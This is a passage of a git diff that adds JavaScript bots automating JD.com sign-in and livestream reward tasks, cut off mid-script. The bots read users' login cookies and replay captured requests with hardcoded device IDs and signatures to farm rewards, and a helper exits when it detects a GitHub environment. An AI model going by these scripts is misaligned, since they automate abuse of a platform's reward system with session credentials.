this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_kd.js b/jd_kd.js new file mode 100644 index 0000000..83e4d67 --- /dev/null +++ b/jd_kd.js @@ -0,0 +1,213 @@ +/* +京东快递签到 +活动入口:https://jingcai-h5.jd.com/#/ +签到领豆,14天内满4次和7次享额外奖励,每天运行一次即可 +更新地址:jd_kd.js + +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东快递签到 +10 0 * * * jd_kd.js, tag=京东快递签到, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_kd.png, enabled=true + +================Loon============== +[Script] +cron "10 0 * * *" script-path=jd_kd.js, tag=京东快递签到 + +===============Surge================= +京东快递签到 = type=cron,cronexp="10 0 * * *",wake-system=1,timeout=3600,script-path=jd_kd.js + +============小火箭========= +京东快递签到 = type=cron,script-path=jd_kd.js, cronexpr="10 0 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东快递签到'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message, allMsg = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/api'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await userSignIn(); + // await showMsg(); + } + } + if (allMsg) { + $.msg($.name, '', allMsg); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} +function userSignIn() { + return new Promise(resolve => { + $.post(taskUrl(), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(resp) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 1) { + console.log(`今日签到成功,获得${data.content[0].title}`) + message += `京东账号${$.index}${$.nickName}\n今日签到成功,获得${data.content[0].title} 🐶\n`; + allMsg += message; + } else if (data.code === -1) { + console.log(`今日已签到`) + // message += `【签到】失败,今日已签到`; + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskUrl() { + return { + url: `https://lop-proxy.jd.com/jiFenApi/signInAndGetReward`, + body: '[{"userNo":"$cooMrdGatewayUid$"}]', + headers: { + 'Host': 'lop-proxy.jd.com', + 'lop-dn': 'jingcai.jd.com', + 'biz-type': 'service-monitor', + 'app-key': 'jexpress', + 'access': 'H5', + 'content-type': 'application/json;charset=utf-8', + 'clientinfo': '{"appName":"jingcai","client":"m"}', + 'accept': 'application/json, text/plain, */*', + 'jexpress-report-time': '1607330170578', + 'x-requested-with': 'XMLHttpRequest', + 'source-client': '2', + 'appparams': '{"appid":158,"ticket_type":"m"}', + 'version': '1.0.0', + 'origin': 'https://jingcai-h5.jd.com', + 'sec-fetch-site': 'same-site', + 'sec-fetch-mode': 'cors', + 'sec-fetch-dest': 'empty', + 'referer': 'https://jingcai-h5.jd.com/', + 'accept-language': 'zh-CN,zh;q=0.9', + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_live.js b/jd_live.js new file mode 100644 index 0000000..bcf9a2b --- /dev/null +++ b/jd_live.js @@ -0,0 +1,338 @@ +/* +京东直播 +活动结束时间未知 +活动入口:京东APP首页-京东直播 +地址:https://h5.m.jd.com/babelDiy/Zeus/2zwQnu4WHRNfqMSdv69UPgpZMnE2/index.html/ +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东直播 +10-20/5 12 * * * jd_live.js, tag=京东直播, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "10-20/5 12 * * *" script-path=jd_live.js,tag=京东直播 + +===============Surge================= +京东直播 = type=cron,cronexp="10-20/5 12 * * *",wake-system=1,timeout=3600,script-path=jd_live.js + +============小火箭========= +京东直播 = type=cron,script-path=jd_live.js, cronexpr="10-20/5 12 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东直播'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdHealth() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdHealth() { + $.bean = 0 + await getTaskList() + await sign() + message += `领奖完成,共计获得 ${$.bean} 京豆\n` + await showMsg(); +} + +function getTs() { + return new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000 +} +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +// 开始看 +function getTaskList() { + let body = {"timestamp": new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000 } + return new Promise(resolve => { + $.get(taskUrl("liveChannelTaskListToM", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + await superTask() + await awardTask("starViewTask") + console.log(`去做分享直播间任务`) + await shareTask() + await awardTask() + console.log(`去做浏览直播间任务`) + await viewTask() + await awardTask("commonViewTask") + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function superTask() { + let body = 'body=%7B%22liveId%22%3A%223019486%22%2C%22type%22%3A%22viewTask%22%2C%22authorId%22%3A%22681523%22%2C%22extra%22%3A%7B%22time%22%3A200%7D%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone10%2C2&eid=eidIF3CF0112RTIyQTVGQTEtRDVCQy00Qg%3D%3D6HAJa9%2B/4Vedgo62xKQRoAb47%2Bpyu1EQs/6971aUvk0BQAsZLyQAYeid%2BPgbJ9BQoY1RFtkLCLP5OMqU&isBackground=N&joycious=194&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=apple&rfs=0000&scope=01&screen=1242%2A2208&sign=68c0d87a5de62711bab9e6e796c08170&st=1607778652966&sv=100&uts=0f31TVRjBSsySvX9aqk89gHBMqz5E28EYCqc3cRu/4%2Bv0EzRuStHwMI1R5P9RqeizLow/pAquaX1v5IJQGVxUzSfExCFmfO0L7BEMvXnkeCZhKEsmSkbQm54W7ig8aRsmHiXp7YT/SOV7sEKxXauv59O/SAAFkr1egGgKev7Uj81nJRFDnNRSomlrOj2jQzH6iddCTSpydcSYRnDyDcodA%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D' + return new Promise(resolve => { + $.post(taskPostUrl("liveChannelReportDataV912", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function viewTask() { + let body = 'body=%7B%22liveId%22%3A%223008300%22%2C%22type%22%3A%22viewTask%22%2C%22authorId%22%3A%22644894%22%2C%22extra%22%3A%7B%22time%22%3A120%7D%7D&build=167408&client=apple&clientVersion=9.2.0&eid=eidIF3CF0112RTIyQTVGQTEtRDVCQy00Qg%3D%3D6HAJa9%2B/4Vedgo62xKQRoAb47%2Bpyu1EQs/6971aUvk0BQAsZLyQAYeid%2BPgbJ9BQoY1RFtkLCLP5OMqU&isBackground=N&joycious=194&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=TF&rfs=0000&scope=01&sign=90e14adc21c4bf31232a1ded5f4ba40e&st=1607561111999&sv=111&uts=0f31TVRjBSsxGLJHVBkddxFxBqY/8qFkrfEYLL0gkhB/JVGyEYIoD8r5rLvootZziQYAUyvIPogdJpesEuOMmvlisDx6AR2SEsfp381xPoggwvq8XaMYlOnHUV66TZiSfC%2BSgcLpB2v9cy/0Z41tT%2BuLheoEwBwDDYzANkZjncUI9PDCWpCg5/i0A14XfnsUTfQHbMqa3vwsY6QtsbNsgA%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D' + return new Promise(resolve => { + $.post(taskPostUrl("liveChannelReportDataV912", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function shareTask() { + let body = 'body=%7B%22liveId%22%3A%222995233%22%2C%22type%22%3A%22shareTask%22%2C%22authorId%22%3A%22682780%22%2C%22extra%22%3A%7B%22num%22%3A1%7D%7D&build=167408&client=apple&clientVersion=9.2.0&eid=eidIF3CF0112RTIyQTVGQTEtRDVCQy00Qg%3D%3D6HAJa9%2B/4Vedgo62xKQRoAb47%2Bpyu1EQs/6971aUvk0BQAsZLyQAYeid%2BPgbJ9BQoY1RFtkLCLP5OMqU&isBackground=Y&joycious=194&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=TF&rfs=0000&scope=01&screen=1242%2A2208&sign=457d557a0902f43cbdf9fb735d2bcd64&st=1607559819969&sv=110&uts=0f31TVRjBSsxGLJHVBkddxFxBqY/8qFkrfEYLL0gkhB/JVGyEYIoD8r5rLvootZziQYAUyvIPogdJpesEuOMmvlisDx6AR2SEsfp381xPoggwvq8XaMYlOnHUV66TZiSfC%2BSgcLpB2v9cy/0Z41tT%2BuLheoEwBwDDYzANkZjncUI9PDCWpCg5/i0A14XfnsUTfQHbMqa3vwsY6QtsbNsgA%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D' + return new Promise(resolve => { + $.post(taskPostUrl("liveChannelReportDataV912", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function awardTask(type="shareTask") { + let body = `functionId=getChannelTaskRewardToM&appid=h5-live&body=%7B%22type%22%3A%22${type}%22%2C%22liveId%22%3A%222942545%22%7D&v=${getTs()}` + return new Promise(resolve => { + $.post(taskPostUrl(null, body,"https://api.m.jd.com/api"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.subCode === "0") { + $.bean += data.sum + console.log(`任务领奖成功,获得 ${data.sum} 